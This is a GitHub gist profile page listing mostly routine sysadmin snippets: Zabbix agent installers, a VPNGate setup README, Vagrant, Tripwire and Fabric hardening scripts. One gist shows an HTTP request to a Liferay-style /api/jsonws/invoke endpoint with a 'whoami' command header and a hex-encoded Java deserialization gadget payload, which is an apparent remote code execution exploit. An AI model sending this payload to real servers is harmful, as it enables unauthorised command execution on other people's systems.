Skip to content

Instantly share code, notes, and snippets.

View vncloudsco's full-sized avatar
🏠
Working from home

Mạnh Tường Solo vncloudsco

🏠
Working from home
View GitHub Profile
@vncloudsco
vncloudsco / zabbix_agent_install.sh
Created February 22, 2019 08:48 — forked from olmosleo/zabbix_agent_install.sh
Script for install Zabbix Agent on CentOS 7
#!/bin/bash
# Script for install Zabbix Agent on CentOS 7.
# github.com/@olmosleo
#SELINUX="/etc/selinux/config";
#echo "SELINUX=disabled" > $SELINUX;
#echo "SELINUXTYPE=targeted" >> $SELINUX;
# remember to reboot after install or just restart the machine when you finish to execute the script.
# Disabled SELINUX
@vncloudsco
vncloudsco / README.md
Created February 18, 2021 08:23 — forked from adnan360/README.md
Automatically adds the first 6 fastest VPNGate vpn connections to Network Manager

VPNGate Auto Setup Script for OpenVPN on Linux

VPNGate is a an excellent VPN for beginners. But one of the problems is that older ovpn connections stop connecting after a few days. I can easily add them manually, but downloading the ovpn files and adding them every week is a mess! This script easily adds up to date 6 connections from VPNGate records.

Requirements

  • Only supports Linux
  • Requires network-manager-openvpn & network-manager-openvpn-gnome to be installed
  • Python 2 or 3

Instructions

POST /api/jsonws/invoke HTTP/1.1
Host: <Host>
Connection: close
cmd2: whoami
Content-Type: application/x-www-form-urlencoded
Content-Length: 4912
cmd={"/expandocolumn/update-column":{}}&p_auth=<valid token>&formDate=<date>&columnId=123&name=asdasd&type=1&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73
@vncloudsco
vncloudsco / install_zabbix_agentd.sh
Created March 23, 2019 17:10 — forked from cdavidnt/install_zabbix_agentd.sh
Bash script instalador do Zabbix Agent 2.0.6 para Linux. Para instalação do Zabbix Agent, basta executar esse script com o comando: sudo bash -c "bash <( curl -s -L https://gist.github.com/cdavidnt/5658654/raw/install_zabbix_agentd.sh )"
#!/bin/bash
verificaPermissaoUsuario() {
ROOT_UID=0
if [ "$UID" -ne "$ROOT_UID" ] ; then
echo "É preciso rodar como root"
exit 1
fi
}
@vncloudsco
vncloudsco / install-zabbix-agent.sh
Created March 23, 2019 17:06 — forked from tomfanning/install-zabbix-agent.sh
Install zabbix agent on Ubuntu trusty 14.04
#!/bin/sh -e
echo "Setting up Zabbix agent"
wget --quiet http://repo.zabbix.com/zabbix/3.2/ubuntu/pool/main/z/zabbix-release/zabbix-release_3.2-1+trusty_all.deb
dpkg -i zabbix-release_3.2-1+trusty_all.deb
rm zabbix-release_3.2-1+trusty_all.deb
apt-get update --quiet > /dev/null
apt-get install zabbix-agent -y --quiet > /dev/null
echo "PidFile=/var/run/zabbix/zabbix_agentd.pid
LogFile=/var/log/zabbix/zabbix_agentd.log
LogFileSize=10
@vncloudsco
vncloudsco / zabbix_setup.sh
Created March 23, 2019 17:04 — forked from coder4web/zabbix_setup.sh
Zabbix setup (CentOS. RHEL)
# ------------------------
# agent
# ------------------------
sudo rpm -ivh http://repo.zabbix.com/zabbix/3.4/rhel/7/x86_64/zabbix-release-3.4-2.el7.noarch.rpm
sudo yum list zabbix-agent
sudo yum install zabbix-agent
sudo firewall-cmd --zone=public --add-port=10050/tcp
sudo firewall-cmd --zone=public --add-port=10050/tcp --permanent
sudo semanage permissive -a zabbix_agent_t
sudo systemctl enable zabbix-agent.service
# -*- mode: ruby -*-
# vi: set ft=ruby :
# All Vagrant configuration is done below. The "2" in Vagrant.configure
# configures the configuration version (we support older styles for
# backwards compatibility). Please don't change it unless you know what
# you're doing.
Vagrant.configure("2") do |config|
# The most common configuration options are documented and commented below.
# For a complete reference, please see the online documentation at
@vncloudsco
vncloudsco / k-twsetup.sh
Created March 23, 2019 16:21
KUSANAGIでTripwireを設定するシェルスクリプト。
#!/usr/bin/env bash
# -------------------------------------------------------------------------------------------- #
# Filename k-twsetup.sh
# Description Shell script to set Tripwire with KUSANAGI.
# Copyright Copyright 2017-2019, mkncLab.com
# Link mkncLab.com <https://www.mknclab.com>
# Since v2.0.4
# License MIT lincense
# -------------------------------------------------------------------------------------------- #
set -Ceu
@vncloudsco
vncloudsco / fabfile.py
Created March 23, 2019 16:20 — forked from tmknom/fabfile.py
CentOSをセキュアにセットアップするFabricスクリプト(暫定版:http://nekopunch.hatenablog.com/entry/2015/01/16/112402
# -*- encoding:utf-8 -*-
#
# CentOSをセキュアにセットアップするFabricスクリプト
#
# 前提条件 : Fabricインストール済/SSHの公開鍵作成済
# 実行方法 : fab deploy
# 検証環境 : CentOS6.6 (さくらのVPS 標準OSインストール)
#####################################################################
from fabric.api import env, run, sudo, put
@vncloudsco
vncloudsco / genetic.py
Last active January 18, 2019 09:57 — forked from bellbind/genetic.py
[python]Genetic Algorithm example
"""Genetic Algorithmn Implementation
see:
http://www.obitko.com/tutorials/genetic-algorithms/ga-basic-description.php
"""
import random
class GeneticAlgorithm(object):
def __init__(self, genetics):
self.genetics = genetics
pass